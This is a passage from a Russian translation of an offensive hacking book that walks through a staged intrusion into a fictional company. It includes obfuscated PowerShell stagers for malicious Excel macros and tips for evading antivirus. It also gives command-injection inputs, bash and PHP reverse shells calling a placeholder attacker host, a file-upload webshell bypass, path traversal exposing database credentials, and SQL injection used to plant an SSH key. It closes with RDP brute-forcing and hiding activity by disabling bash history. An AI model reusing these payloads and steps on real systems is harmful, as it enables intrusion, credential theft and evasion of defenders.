убедиться, что он работает как положено:
Хорошо, теперь, чтобы встроить этот пейлоад в Excel-файл,
нам нужно немного углубиться в код вручную. Если вы откроете
сгенерированный файл ​meter.bat,​ то увидите, что его основное
Перевод
@Ianuaria
skladchik.com
предназначение - это выяснить архитектуру на целевой машине и
запустить подходящую версию PowerShell (x86 или x64).
-- start of meter.bat -@echo off
if %PROCESSOR_ARCHITECTURE%==x86​ (powershell.exe -NoP -NonI -W Hidden -Exec
Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(NewObject IO.Compression.DeflateStream ($(New-Object IO.MemoryStream
(,$([Convert]::FromBase64String(\"nVRhb9pIEP3OrxhZe5KtYMcJXC7BilQKTZu7QnMhTXqH0Gmx
B7xlveus1wFC+
else (%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe​ -NoP -NonI -W
Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object
IO.StreamReader ($(New-Object...
-- end --
Как вы могли заметить, файл meter.bat также вызывает
​ е соизволил
PS-скрипт в построчном режиме, хотя ​
Veil н
закодировать команды. Мы можем преобразовать этот фрагмент
кода для верификации архитектуры на VBA24, затем взять команды
из файла meter.bat и все будет готово.
Если мы будем использовать ​
Lucky Strike,​ мы можем
допустить, что Excel скорее всего будет работать в 32-битном
процессе (наиболее вероятный вариант в большинстве случаев),
выбрать подходящий фрагмент кода, немного подчистить его,
удалив два символа обратного слэша “\”, затем сохранить его в
файл под названием meter.ps1:
Invoke-Expression $(New-Object IO.StreamReader ($(New-Object
IO.Compression.DeflateStream ($(New-Object IO.MemoryStream
(,$([Convert]::FromBase64String("nVRtb9s4DP6eX0EYOsBGY9d5uV4bI8C6dN16t3Rd05fdBcFBs
ZlYq2y5ktw6zfLfRydZmuK+
[IO.Compression.CompressionMode]::Decompress)),
[Text.Encoding]::ASCII)).ReadToEnd();
24
https://www.consulting-bolte.de/index.php/9-ms-office-and-visual-basic-for-applicationsvba/154-deter
mine-architecture-64-or-32-bit-in-vba
Перевод
@Ianuaria
skladchik.com
Мы исполняем этот файл meter_psh.ps1 для проверки, что он
по-прежнему работает нормально. Теперь у нас есть обычный файл
PowerShell и мы можем воспользоваться ​
Lucky Strike для
генерации подходящего вредоносного Excel-файла.
Итоги
​ ля настройки
Подводя итоги, мы использовали ​
Gophish д
платформы по отправке электронных писем, выбрали нескольких
сотрудников компании в качестве целей и подготовили два мощных
варианта вредоносных Excel-файлов, которые скорее всего обойдут
антивирусную защиту.
Что прекрасно в этом векторе атаки - если она получит успех
(и нам действительно нужна лишь одна жертва из возможных сотен
сотрудников), мы окажемся внутри Зеленой коробки!25
25
Данный сценарий будет работать на любом компьютере с Windows, при условии, что
пользователь откроет документ и активирует макросы. Некоторые хакеры поступают хитрее и
эксплуатируют уязвимость в Word/Excel или в браузере (особенно установленные плагины,
такие как Flash, Adobe Reader и т.д.), чтобы выполнить код на компьютере или автоматически
повысить свои привилегии. Подобные уязвимости, для которых еще нет патчей от
разработчиков, называются уязвимостями нулевого дня, они легко могут стоить тысячи
долларов, особенно для продуктов Microsoft.
Перевод
@Ianuaria
skladchik.com
**Почему антивирусные решения не являются проблемой?**
Антивирусные решения работают преимущественно на
основе сигнатур: то есть, специфичной части данных в файле,
которая помечается как вредоносная.
Для примера, антивирусное ПО помечает малварь
Trojan.Var.A!,
проверяя
на
наличие
следующей
последовательности байт в коде: ​0xFC99AADBA6143A.​
Некоторые вендоры могут добавлять продвинутые
возможности, такие как анализ кода, реверсинг, проверка
случайности и т.д. Но на практике, движок преимущественно
основан на работе с сигнатурами.
Помимо очевидной альтернативы по написанию малвари с
нуля, чтобы избежать совпадения по любой известной
сигнатуре, есть важный факт об антивирусных решениях,
который позволяет легко обходить их все.
Они сканируют только файлы на диске! Если вы загружаете
вредоносный файл, он записывается в папку Загрузки и
немедленно сканируется и помечается антивирусом. Точно
такой же вредоносный файл, если он будет инжектирован
напрямую в память, вызовет нулевую тревогу, до тех пор, пока
он не касается диска.
Чтобы добиться этого, мы можем использовать небольшой
фрагмент кода под названием stager, который будет содержать
вредоносный код (шифрованный или закодированный) в
переменной. Далее, инжектим этот код в новый или уже
существующий процесс в памяти. Таким образом, никакой
вредоносный файл не записывается на диск. По сути, это то,
что делают наши Excel-файлы.
Перевод
@Ianuaria
skladchik.com
Почему антивирус не обнаруживает stager? Он может это
сделать, иногда. Но в отличие от реального вредоносного ПО,
stager - всего лишь несколько строк кода, и он может быть
довольно просто адаптирован для ухода от всех механизмов
обнаружения на основе сигнатур. 26
****
Публичное раскрытие
Пока мы ждем, что наши фишинговые письма достигнут своих
целей, мы внимательно просматриваем интернет в поисках новых и
неиспытанных способов получения доступа к инфраструктуре SPH.
В следующей главе мы начнем с маппинга всех их видимых машин
и служб, которые у них работают (веб-сайты, почтовые сервисы,
VPN-ы и т.д.), затем заложим фундамент для того, что я называю
“Искусство нахождения маленькой трещины” - трещины такого типа,
которая может предоставить нам неожиданное приглашение,
которое мы так ищем.
Маппинг публичных IP-адресов
Первая наша зацепка (и кстати говоря, пока что,
единственная) - это название компании: ​
Slash & Paul’s Holdings.​
Мы можем легко установить их основной веб-сайт, который, в свою
очередь, дает нам второй элемент пазла, публичную DNS-запись:
sph-assets.com​.
Используя ​https://centralops.net/ (или ​
https://domaintools.com/​),
мы можем быстро понять, что IP-адрес веб-сайта принадлежит не
SPH, а Amazon. А следовательно, он находится не в Синей коробке,
а в коробке за пределами дата-центров SPH. Мы даже не будем
напрягаться на этот счет.
26
Проверьте данный репозиторий для получения идей по обфускации с PowerShell:
https://github.com/danielbohannon/Invoke-Obfuscation
Перевод
@Ianuaria
skladchik.com
Как нам найти реальные сервера в Синей коробке? Это
довольно просто: мы подсчитываем все возможные DNS-имена
(*.sph-assets.com), проверяем соответствующий им IP-адрес и
смотрим, выведет ли ​https://centralops.net/ компанию SLASH & PAUL
HOLDINGS INC. как владельца сегмента IP-адресов, или нет.
Такие
инструменты,
как
DNSRecon27
​
и
DNScan28
​
автоматизируют подобные запросы и даже предоставляют списки
наиболее используемых поддоменов для “розжига” процесса
поиска:
Extranet.sph-assets.com,
Lync.sph-assets.com,
mail.sph-assets.com и так далее.
Как только мы скомпилируем хороший список доменов и
IP-адресов, мы снова запрашиваем ​
https://centralops.net/​
, чтобы
27
​https://github.com/darkoperator/dnsrecon
28
​https://github.com/rbsec/dnscan
Перевод
@Ianuaria
skladchik.com
посмотреть, какие из них действительно находятся в диапазоне
IP-адресов, принадлежащих SPH.29
Для целей нашего сценария, давайте представим, что
публичные IP-адреса SPH находятся в довольно небольшой
подсети 172.31.19.0/2530, на которых хостятся следующие
веб-приложения:
●
●
●
●
Up.sph-assets.com
Career.sph-assets.com
Info.sph-assets.com
Catalog.sph-assets.com
Веб-приложения
Теперь, когда у нас есть список URL-адресов, следующим
шагом будет пошариться вокруг этих веб-сайтов в поиске сетевых
уязвимостей, которые могут быть использованы для выполнения
кода на сервере.
Совет​: поиск сетевых уязвимостей требует проверки всех
параметров, отправляемых на сервер. Чтобы сделать все
правильно, наиболее полезными будут такие инструменты, как
Burp Suite31 или ​ZAP​.32 Они перехватывают все HTTP-запросы и
подменяют содержимое HTML-страницы, чтобы обходить
29
Другим подходом будет напрямую запросить частные базы данных по IP-сегментам,
зарегистрированным SPH или их официальными регистраторами, однако многие
онлайн-инструменты требуют плату за проведение подобных точных запросов
30
Я указываю частный диапазон, чтобы избежать потенциальных проблем с законом при
публикации книги
31
Работа с Burp Suite: ​Тестирование веб-приложений на проникновение с применением Burp
Suite
https://portswigger.net/burp/documentation/desktop/getting-started
32
Работа с ZAP: ​OWASP Zed Attack Proxy (ZAP) для тестирования веб-приложений на
проникновение
Перевод
@Ianuaria
skladchik.com
некоторые элементарные механизмы защиты, типа скрытых
полей, незащищенных полей и т.д.
Они также предоставляют хороший обзор всех параметров,
обрабатываемых веб-сайтом, что приводит к потенциально
большему количеству входных данных, которые мы можем
инжектить при помощи вредоносного кода.
1) up.sph-assets.com
Первый
веб-сайт
примитивен
и предлагает только
возможность протестировать, работает ли сервер или нет. Это
наводит меня на мысли о небольшой утилите, собранной
торопливым админом, который хотел выполнять свои обязанности в
ленивое послеобеденное время по воскресеньям - с комфортом,
прямо из дома.
Как можно заметить, результат вывода удивительным образом
похож на вывод команды ​
ping ​в Linux-системах.33 Она просто
отправляет запросы на удаленные сервера и ожидает их ответов.
33
Команда ping на Windows отправляет пакет с 32 байтами данных
Перевод
@Ianuaria
skladchik.com
Может быть, веб-сайт использует наш ввод (введенное
доменное имя) для создания ICMP-запроса в Linux и отдает нам
обратно результат. На PHP это будет теоретически выглядеть
примерно как:
<?php system("ping -c1 ".$_GET['host')]; ?>
Если наш ввод - переменная ​
$_GET['host'] -​ присоединяется
без какой-либо защиты от этого, как в примере выше, мы можем
обманным
путем
заставить
веб-приложение
выполнять
дополнительные системные команды.
Чтобы это сделать, нам нужно добавить символ конкатенации
типа “&” (“&&”, “;”, даже “|” может сработать). Следующий ввод, к
примеру, если веб-сайт действительно уязвим, успешно выведет
список пользователей вдобавок к выполнению команды ping:
www.google.com ; cat /etc/passwd
Интересно! Давайте попробуем что-нибудь более хитроумное.
Как насчет однострочного34 обратного шелла, который даст нам
интерактивный доступ к машине:
34
Больше однострочников можно найти здесь:
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
Перевод
@Ianuaria
skladchik.com
www.google.com; bash -i >& /dev/tcp/FRONT_GUN_IP/443 0>&1
На нашем сервере Front Gun нам нужно лишь запустить
простой listener, типа ​Netcat,​ чтобы принять входящий шелл с
удаленного сервера:
Мы внутри! Вы можете перейти к разделу 4, если хотите
посмотреть, как использовать подобный низкоуровневый доступ для
проведения атаки Meltdown, но в целях достижения полноты
картины, давайте проверим другие веб-сайты и поищем другие
скрытые сокровища.
Примечание: это был весьма упрощенный пример для
разогрева, но он закладывает основу удаленного исполнения кода.
Почитайте об уязвимости в PHPMailer, которая схожа по духу:
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Ex
ec-CVE-2016-10033-Vuln.html
2) career.sph-assets.com
Как и все другие компании, SPH нуждается в рекрутинге
талантов для расширения своего бизнеса. Веб-сайт, посвященный
карьере в этой компании, предназначен для этих целей, он
позволяет желающим устроиться в эту компанию загружать свои
резюме.
Очевидно, для загрузки документа подходящим форматом
является PDF, но что если мы попробуем загрузить файл,
содержащий код, типа PHP, JSP или ASP?35
35
Проверьте HTTP-заголовки с помощью ZAP или BURP, чтобы узнать, какой язык
используется на веб-сайте
Перевод
@Ianuaria
skladchik.com
Что ж, не очень-то получается. Мы получаем замечательную
ошибку от веб-сайта, указывающую на то, что любые форматы
кроме PDF запрещены. Веб-приложение, должно быть, выполняет
ряд проверок для подтверждения типа файла, перед тем как
принять его.
В этом случае, наша цель - обмануть веб-сайт и заставить его
подумать, что он получил PDF-файл, что по факту окажется
грязным PHP-кодом, выполняющим системные команды на сервере.
Если мы перехватим HTTP-запрос, отправляемый во время загрузки
документа, используя ​Burp ​или ​
Zap,​ то сможем увидеть, что
браузер отправляет тип содержимого “application/octet-stream”
вместе с его содержимым:
Перевод
@Ianuaria
skladchik.com
Давайте изменим заголовок “Content-Type” на “application/pdf”,
затем перенаправим запрос на сервер. Обратите внимание, что мы
не подменяли расширение файла “.php”.
Отлично! Наш файл прошел проверку безопасности, что
доказывает, что сайт полагается исключительно на заголовок
content-type​. Следовательно, наш код теперь сидит где-то на
сервере. Это простой скрипт, который выполняет любую команду,
полученную через параметр “cmd”, но чтобы выполнить его, нам
нужно выяснить, где именно он находится и получить к нему доступ
через браузер.
Иногда этот этап может быть очень сложным, а в некоторых
случаях веб-сайт будет достаточно любезен и пропишет полный
URL-адрес, при условии, что мы уделим время тщательному поиску.
В нашем случае, к примеру, URL файла скрыт в исходном коде
страницы с поздравлением о том, что файл успешно загружен
(Ctrl+U в Firefox/Chrome):
Перевод
@Ianuaria
skladchik.com
Как только мы получим доступ к PHP-скрипту36, мы сможем
выполнить произвольные системные команды и самое главное получим обратную оболочку, как в предыдущей главе:
Есть много доступных “веб-шелл скриптов” в интернете,
которые предлагают большое разнообразие возможностей:
отличные графические интерфейсы, поддержку баз данных,
файловые браузеры и т.д. Однако, многие из них поставляются со
скрытыми трапдорами (trapdoor, “черный вход”), которые
предоставляют другим хакерам возможность “заехать” в систему за
ваш счет. Так что будьте в курсе относительно шеллов C99 или
R57. Делайте все просто и понятно.
3) info.sph-assets.com
На этом веб-сайте изложена некоторая стандартная
информация об истории компании и определенные финансовые
показатели для привлечения инвесторов. Если пройтись по ссылкам
с помощью ​Burp Proxy,​ мы заметим интересный запрос, который
подгружает отчет в формате PDF:
36
Ознакомьтесь с fuzzdb, базовые вебшеллы на различных языках:
https://github.com/tennc/webshell/tree/master/fuzzdb-webshell
Перевод
@Ianuaria
skladchik.com
Мы можем предположить, что местоположение файла
используется в функции “open“ для чтения отчета, затем
происходит отображение его содержимого для пользователей.
Нашей первой реакцией, ведь мы - проницательные хакеры, будет
обмануть сайт и заставить его открыть другие файлы в системе. Но
какие? И где они находятся на диске?
Давайте разберемся шаг за шагом? Во-первых, выясним, с
какой операционной системой мы имеем дело. Простой осмотр
исходного HTML-кода говорит нам о том, что мы общаемся с
сервером Windows: AXD и ASPX-файлы являются классическим и
верным признаком того, что используется Microsoft IIS Webserver:
Далее, конечно, идут HTTP-заголовки веб-сайта, которые еще
более проясняют ситуацию:
Перевод
@Ianuaria
skladchik.com
Конфигурация IIS хранится в файле “web.config”, обычно
одна-две директории выше основной веб-страницы. Давайте тогда
запросим этот файл:
www.sph-assets.com/get_static.php?image=../../web.config
[...]
<configuration xmlns=http://schemas.microsoft.com/.NetConfiguration/v2.0>
<appSettings/>
<connectionStrings/>
<add name="InfoDB"
​ Database=Reports;​
​
connectionString="​Server=DB0998;
User Id=Admin;
​ ProviderName="System.Data.SqlClient" />
password=Info01Web;
[...]
Как видим, мы получаем учетную запись базы данных,
используемую веб-сайтом, что может пригодиться, безусловно, но
поскольку база данных находится во внутренней сети - DB0998
точно не является именем публичного сервера - нам это может
быть малополезным… или полезно?
Есть золотое правило, с которым должен быть знаком любой
хакер/пентестер, и настало время представить его: админы - хотя, в
действительности, все люди - любят повторно использовать
пароли. У нас будет возможность убедиться в этом несколько раз
на протяжении этой книги. В связи с этим, при получении пароля,
первой реакцией будет попробовать точно такую же строку
символов во всех формах для входа в системы, которые мы
повстречаем.
Перевод
@Ianuaria
skladchik.com
Как оказалось, этот сайт был создан при помощи WordPress
CMS. Мы можем сделать такой вывод, еще раз проанализировав
исходный код сайта37:
CMS, или система управления содержимым, это инструмент
для ускорения разработки веб-сайтов. Взять для примера
WordPress: вы скачиваете его и устанавливаете, и он поможет вам
создавать содержимое для вашего сайта при помощи простых в
использовании интерфейсов. Нет необходимости осваивать HTML,
PHP и CSS, чтобы получить функционирующий, отзывчивый
веб-сайт.
Очевидно, что нужна панель администратора, чтобы
управлять CMS; в случае с WordPress, доступ к этой панели
осуществляется через ​info.sph-assets.com/wp-admin:​
37
Полезное расширение для браузера - “Wappalyzer”. Оно автоматически снимает отпечаток
всех компонентов на веб-сайте
Перевод
@Ianuaria
skladchik.com
Давайте попробуем учетные данные, полученные нами ранее:
Ура! Уже можем разместить наш шелл-код? Что ж, в
WordPress мы не можем напрямую загружать PHP-файлы, или даже
создавать их с нуля.
Перевод
@Ianuaria
skladchik.com
Для начала нам нужно установить плагин под названием
“insert_php” или отредактировать файл темы (“functions.php”), чтобы
вставить наши сниппеты PHP-кода, которые позволят обратной
оболочке связаться обратно с домом.
PHP-код для добавления
примерно таким простым:
в
“functions.php” может быть
$sock=fsockopen("FrontGun_IP",443);exec("/bin/sh -i <&3 >&3 2>&3");
4) catalog.sph-assets.com
Последний веб-сайт, похоже, хостит продукты, предлагаемые
SPH для ее клиентов. Мы можем вывести список продуктов,
просматривая простые ID, как в запросе ниже:
Мы можем предположить, что запрос, вероятно, делается на
бэкенд-сервер (скорее всего, в базу данных) для подгрузки продукта
исходя из указанного ID (13 в вышеприведенном запросе). Мы
пробуем дальше, вставляя специальные символы (кавычки,
двойные кавычки и т.д.), но ничего интересного не обнаруживаем:
сервер отвечает одной и той же пустой страницей, что печально.
Перевод
@Ianuaria
skladchik.com
Однако, если мы заменим 13 на “14-1”, к примеру, мы получим
продукт 13. Интересно. Это может означать, что наша
арифметическая операция была по факту выполнена системой на
бэкенде. Чтобы убедиться в этом, пробуем еще раз с “product/13+1”
38
и с “product/(select 14)”.
Хорошо! Скорее всего, у нас в наличии есть возможность
инъекции кода. В частности, SQL-инъекции39, учитывая, что наша
предыдущая инструкция “select” была правильно интерпретирована.
Это означает, что мы можем обманным путем заставить базу
данных выполнить SQL-код, который мы добавим на конце запроса.
Разумеется, код должен быть валидным и соответствовать
определенным синтаксическим и структурным правилам, но нам не
стоит слишком сильно волноваться об этом.
Конечно, мы задействуем небезызвестную утилиту ​
sqlmap40,
чтобы она выполнила за нас тяжелую работу и выдала четкий
эксплойт. Эта утилита подготовит необходимый SQL-код для
38
‘+’ в адресной строке кодируется в URL-код на %2B
39
Полная книга по SQL-инъекциям:
https://www.amazon.com/SQL-Injection-Attacks-Defense-Second/dp/1597499633
40
​https://github.com/sqlmapproject/sqlmap
Перевод
@Ianuaria
skladchik.com
вывода таблиц и получения столбцов, данных и т.д.41 Хотя не
радуйтесь раньше времени. Кажется, что этот веб-сайт хостит
только публично доступную информацию. Мы не получим наши
призовые данные о пользователях столь просто.
Что же такое SQL-инъекция?
Что ж, в нашем сценарии нас интересует следующее: иметь
возможность исполнять системный код на машине. Это практически
полностью зависит от установленного программного обеспечения
базы данных:
● Microsoft SQL Server предоставляет нативные функции для
выполнения кода в системе при помощи xp_cmdshell, при
условии, что учетная запись, выполняющая команду, имеет
права администратора
● MySQL и Oracle предоставляют только возможность
записывать файлы в директории, к которым у них есть доступ.
Интересным сценарием было бы записать бэкдоры в
веб-директорию или даже SSH-ключи в домашние папки.
Чтобы определить программное обеспечение базы данных,
мы запускаем ​sqlmap​со следующими опциями:
41
Если вы хотите вручную попрактиковаться с SQL-инъекциями, загляните на этот веб-сайт:
http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
Перевод
@Ianuaria
skladchik.com
Совет:​ Поскольку нет легко идентифицируемого параметра, мы
помещаем звездочку (*) перед уязвимым параметром, чтобы
скоординировать ​sqlmap.​
Кажется, перед нами база данных MySQL. Даже несмотря на
то, что прицелиться на веб-директории и домашние папки по-прежнему приемлемый вариант, давайте для начала взглянем,
что внутри.
Мы выведем список всех баз данных и их таблиц при помощи
следующей команды:
Перевод
@Ianuaria
skladchik.com
Таблицы “node_comment” и “node__body” типичны для Drupal
CMS - это информация, в которой мы можем легко убедиться,
просмотрев HTML-код страницы.
Согласно официальному сайту Drupal 842, данные
пользователях и паролях хранятся в таблице “users_field_data”:
о
Пароли в базе данных захэшированы, так что нам нужно
воспользоваться утилитой типа ​
John the Ripper​, чтобы взломать
их. ​John пройдется по словарям и проверит, есть ли соответствия
каждому конкретному хэшу. Вычисление хэша, однако, занимает
вычислительное время и может требовать существенных ресурсов,
особенно при тестировании миллиардов возможностей.
Мы также можем попробовать публичные базы данных по
взлому43, чтобы справиться с задачей в лучшем виде. Если вы
готовы к чему-то большему, можете выполнить инструкции из этого
руководства и создать серьезную машину для взлома за разумные
деньги.44
42
​https://www.drupal.org/project/drupal/releases/8.0.0
43
​https://crackstation.net/
44
​http://www.netmux.com/blog/how-to-build-a-password-cracking-rig
Перевод
@Ianuaria
skladchik.com
К сожалению, хэши Drupal посолены (к паролям добавлены
рандомные строки), их взлом потребует очень много времени. Даже
спустя часы после запуска ​
John the Ripper мы не можем получить
положительный результат. Похоже на то, что пароли достаточно
сильные. Наш единственный вариант - внедрить SSH-ключ.
Во-первых, мы сгенерируем пару SSH-ключей при помощи
трех простых шагов, описанных в этом посте45:
​ ля
Затем мы вызовем доверенную опцию ​
sqlmap --file-write д
записи нашего открытого ключа (id_rsa.pub) в следующую
директорию: /home/mysql/.ssh/authorized_keys
Стоит отметить одно ограничение, тем не менее, MySQL не
может перезаписывать файлы. Так что скрестим пальцы в надежде,
что в целевой директории нет файла под названием
“authorized_keys”:
Очень хорошо! Пробуем подключиться к серверу, используя
соответствующий закрытый ключ:
45
​https://www.digitalocean.com/community/tutorials/how-to-set-up-ssh-keys--2
Перевод
@Ianuaria
skladchik.com
Неплохо! Мы эффективно трансформировали SQL-инъекцию в
удаленный интерактивный доступ! Правда, у нас по-прежнему
ограниченные права на машине, но это лишь вопрос времени.
Попробуйте задействовать этот очень интересный эксплойт46
на похожем узле, он использует SQL-инъекцию для получения
root-доступа к машине.
Прочие службы
В предыдущих главах мы сфокусировались преимущественно
на веб-приложениях, чтобы вычислить наиболее типовые
уязвимости и воспользоваться ими для получения доступа к сети
Синей коробки. Стоит помнить, однако, что интернет - это гораздо
большее, чем то, что люди называют вебом. Есть множество других
интересных вещей, происходящих за пределами веб-сайтов.
Чтобы найти эти другие службы, мы будем использовать
инструмент для сканирования портов, например, ​
nmap или
masscan.​
**Примечание по сканированию портов**
Небольшое отступление перед обсуждением TCP/IP-портов,
служб и т.д.: интернет - это набор систем, связанных друг с
другом. Различные системы могут хостить различные
приложения: веб-приложения (веб-сайты, например), приложения
администрирования для удаленного управления системами (SSH
или RDP47), базы данных (MySQL, SQL Server) и так далее.
46
https://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-20166662.html
47
RDP (протокол удаленного рабочего стола) - это протокол Windows, используемый для
удаленного управления машинами. Служба обычно работает на порту 3389
Перевод
@Ianuaria
skladchik.com
Каждому приложению, к которому удаленная система
должна иметь возможность подключиться, присваивается порт
из диапазона 65535, доступного в системе. Например, система
будет мониторить все входящие запросы, и как только она
обнаруживает запрос, упоминающий порт 80, она будет
направлять запрос приложению, слушающему этот порт, обычно
это будет веб-сайт.
Теперь, чтобы выяснить, какие приложения есть в системе,
мы просто отправляем запрос с приветствием (SYN-пакет) на
каждый доступный порт и смотрим, какой из них ответит. Это
основная идея сканеров портов. Если мы получаем “обратное
приветствие” (пакет ACK), то мы знаем, что есть служба,
слушающая этот порт. Инструмент затем может отправить
дополнительные запросы для получения большей информации:
название продукта, версия и т.д.
​ дут дальше. Они могут определить
Утилиты типа ​nmap48 и
операционную систему в системе, попробовать некоторые
базовые брутфорс-атаки и проч. Для получения большей
информации, ознакомьтесь с полной документацией ​
nmap​.49
****
В интернете много трафика. Каждую минуту кто-либо на этой
планете сканирует различные IP-диапазоны. Нам не нужно быть
особенно скрытными при сканировании публичных серверов.
Стандартное TCP-сканирование делает следующее:
48
​Полный курс по этичному хакингу с Nmap
49
​https://nmap.org/
Перевод
@Ianuaria
skladchik.com
● “-p-” - опция нацеливается на все порты;
● “-A” - опция запускает все дополнительные скрипты nmap для
каждого открытого порта;
● “-oA” - опция сохраняет результат в трех файлах: xml, nmap и
gnmap
Совет​: если вы хотите легко форматировать выходные данные
nmap​,
ознакомьтесь
со
скриптом
​nmaptocsv
(​https://github.com/maaaaz/nmaptocsv)​. Наличие Excel-файла может
облегчить просмотр тысяч служб.
Десятки служб появляются на экране. Некоторые из них - это
администраторские службы типа SSH и RDP, которые могут быть
использованы для удаленного соединения с машиной с валидными
учетными данными. Другие - стандартные веб-порты (80 и 443).
Один порт выделяется из общего ряда, однако: порт 27019. И
совершенно по делу: это дефолтный порт, используемый MongoDB,
нереляционной базой данных, которая хранит документы и
индексирует их, не требуя какой-либо установленный структуры (в
отличие от реляционных или классических баз данных, которые
требуют наличия таблиц, столбцов, полей и т.д.).
Интересный момент, к слову, по умолчанию MongoDB не
требует никакой аутентификации. Если у кого-либо появится
(отличная) идея раскрыть ее всему интернету без минимальных
оптимальных параметров безопасности, любой человек сможет
Перевод
@Ianuaria
skladchik.com
получить доступ к ее содержимому. Беглый поиск в ​Shodan50,
поисковом движке по глобальному интернету, дает представление о
том, насколько много существует там (unrestricted/неограниченных)
баз MongoDB.51
Поэтому мы подключаемся к этой базе данных в надежде
получить какую-либо информацию, которая поможет нам
проникнуть внутрь сети Синей коробки.
Мы выводим список коллекций (эквивалент таблиц) базы данных
“stats_db” при помощи следующей команды:
50
​https://www.shodan.io/
51
Что интересно, во время редактирования данной книги стало известно, что тысячи баз
данных MongoDB захватываются злоумышленниками, шифрующими данные и требующими
выкуп. Пугает тот факт, что та же самая “уязвимость” затрагивает базы данных Cassandra,
ElasticSearch и Redis
Перевод
@Ianuaria
skladchik.com
Очевидно, стоит нацелиться на коллекцию “users”:
В яблочко! Кажется, мы получили учетные записи
пользователей и пароли для доступа к какому-то неизвестному
приложению. Мы можем снова попробовать взломать хэши при
помощи ​John the Ripper,​ но быстрый поиск хэша администратора в
Google показывает, что по факту есть соответствующий пароль:
“Slash!”.
Если мы вернемся обратно к результатам ​
nmap​, то увидим,
что порт 3389 открыт на машине с MongoDB. Эта служба разрешает
удаленный доступ к Windows-машине при помощи таких утилит, как
​ а Linux. Давайте повторно используем
mstsc,​ или ​rdesktop н
пароль, который мы только что получили:
Перевод
@Ianuaria
skladchik.com
Достаточно близко! Хотя это и не сработало сразу же, пароль
“Slash!” дает нам ценное понимание того, каким образом админы
выбирают свои пароли. Мы можем создать словарь возможных
кандидатов, основываясь на схожем формате, затем попробовать
каждый из них на удаленной машине, пока не попадем в цель!
Брутфорс-атака может, конечно, привести в действие тревогу
или даже временно заблокировать учетные записи, поэтому мы
постараемся избежать этого в данном сценарии, учитывая, что мы
уже заовнили так много машин. Я, все же, опишу шаги для ее
проведения на всякий случай.
Во-первых, мы вручную генерируем базу ключевых слов на
основе полученного ранее пароля:
slash
paul
slashPaul
slash!
slash$
slash*
Перевод
@Ianuaria
skladchik.com
paul!
holdings
holding
slashPaul
slashpaul
slashslash
Затем мы используем ​
John The Ripper,​ чтобы применить
различные вариации для этих ключевых слов (добавление цифр,
специальных символов, перевод первого символа в верхний
регистр и т.д.)52
Теперь мы подгружаем этот свежесобранный список в
инструмент для проведения брутфорсинга через RDP: ​
Patator,​ ​
THC
Hydra​, ​Crowbar53 или другой:
52
Мы можем создать эффективные кастомные правила для John. Вот несколько примеров:
https://contest-2010.korelogic.com/rules.html
53
​https://github.com/lanjelot/patator​, ​https://github.com/vanhauser-thc/thc-hydra​
,
https://github.com/galkan/crowbar
Перевод
@Ianuaria
skladchik.com
На данном этапе мы можем в достаточной мере
констатировать, что мы завладели доступом к нескольким машинам
внутри сети Синий коробки. Что означает, мы можем начать думать
о способах атаки на внутреннюю сеть.
Но давайте не будем торопиться. Мы по-прежнему находимся
в Синей коробке (публичная DMZ), и нам нужно разобраться с
некоторыми основными проблемами, например: на какой мы
машине? Какие привилегии у нас есть? Какие еще важные сервера
есть в этом сегменте сети?
С этого момента начинается самое веселье!
Перевод
@Ianuaria
skladchik.com
К северу от (огненной) стены
“Почему так происходит, что когда один человек строит стену,
другому сразу же хочется узнать, что за ней?”
Джордж Рэймонд Ричард Мартин
Перевод
@Ianuaria
skladchik.com
Используя некоторые уязвимости на сервере фронтэнда,
который хостится компанией SPH, мы смогли выполнить код на как
минимум одном сервере.54 У нас теперь есть шелл на сервере,
который находится внутри сегмента Синей коробки. Но кроме ряда
email-прокси, серверов для видеоконференций и нескольких
веб-сайтов, в Синей коробке нет данных, которые мы ищем.
Синяя коробка - это просто наш шлюз в Зеленую коробку.
Поразмышляйте об этом. Мы не видим Зеленую коробку из
интернета (внутреннюю сеть); однако, пройдя по Синей коробке, мы
можем получить возможность достичь некоторых внутренних
серверов из нее. Основная цель данной главы - установить
надежную связь или туннель с нашего сервера Front Gun до
Зеленой коробки, при этом проходя через Синюю коробку.
54
Мы остановимся на скомпрометированном Linux-сервере, чтобы показать некоторые
отличные pivoting-техники чуть позже, иначе было бы слишком просто, если мы высадимся
напрямую на Windows с самого начала
Перевод
@Ianuaria
skladchik.com
Если мы попутно завладеем еще парой серверов, тем лучше,
но давайте действовать по порядку: на какой машине мы
находимся?
Знай своего противника
Будь то Windows или Linux, первичным порывом будет
порыскать вокруг и поискать ценную информацию об окружении, в
котором мы находимся. Перед выполнением каких-либо команд,
однако, мы начнем с отключения файла истории Bash, чтобы
избежать записи наших команд:
Выясняется, что мы на относительно свежем сервере Ubuntu с
32-битной архитектурой. Текущий пользователь - это ​
www-data​,
который обычно не имеет много привилегий в системе.
Хотя много пользователей определены в системе, только наш
сеанс на текущий момент активен на машине:
Перевод
@Ianuaria
skladchik.com
Если мы проверим сетевую конфигурацию, то сможем
увидеть, что мы в сегменте IP-адресов 192.168.1.0/24:
И наконец, нет правил локального файрвола, которые могут
помешать нашим pivoting-техникам позже:
Совет:​ Помните, что мы могли бы использовать более
продвинутые обратные оболочки (​Meterpreter,​ например),
которые содержат модули для автоматизации всех подобных
проверок. Шпаргалку по нативным инструментам и командам
можно найти здесь. 55
55
Для Windows:
http://tim3warri0r.blogspot.com/2012/09/windows-post-exploitation-command-list.html
Для Linux:
https://github.com/mubix/post-exploitation/wiki/Linux-Post-Exploitation-Command-List
Перевод
@Ianuaria
skladchik.com
Первое касание
Некоторые люди могут поспорить, что получение прав
администратора
на
первом
сервере,
который
мы
скомпрометировали, необязательно. Это правда. Если нам нужно
только установить туннель для доступа в более глубокие сегменты
сети, мы можем продолжить с обычными правами. Но если мы
хотим стереть логи аудита, обмануть админов, либо установить
новые инструменты, то весьма целесообразно иметь права
администратора на машине.
Иногда, если нам улыбается удача, уязвимость, которую мы
проэксплуатировали для получения шелла, затрагивает компонент,
работающий с самыми высокими привилегиями. В этом случае, нам
остается только перейти к следующему разделу.
Яркий пример - SQL-инъекция на сервер Microsoft SQL с
работающей учетной записью администратора DBA.
Любая команда, выполненная с ​
xp_commandshell,​ имеет
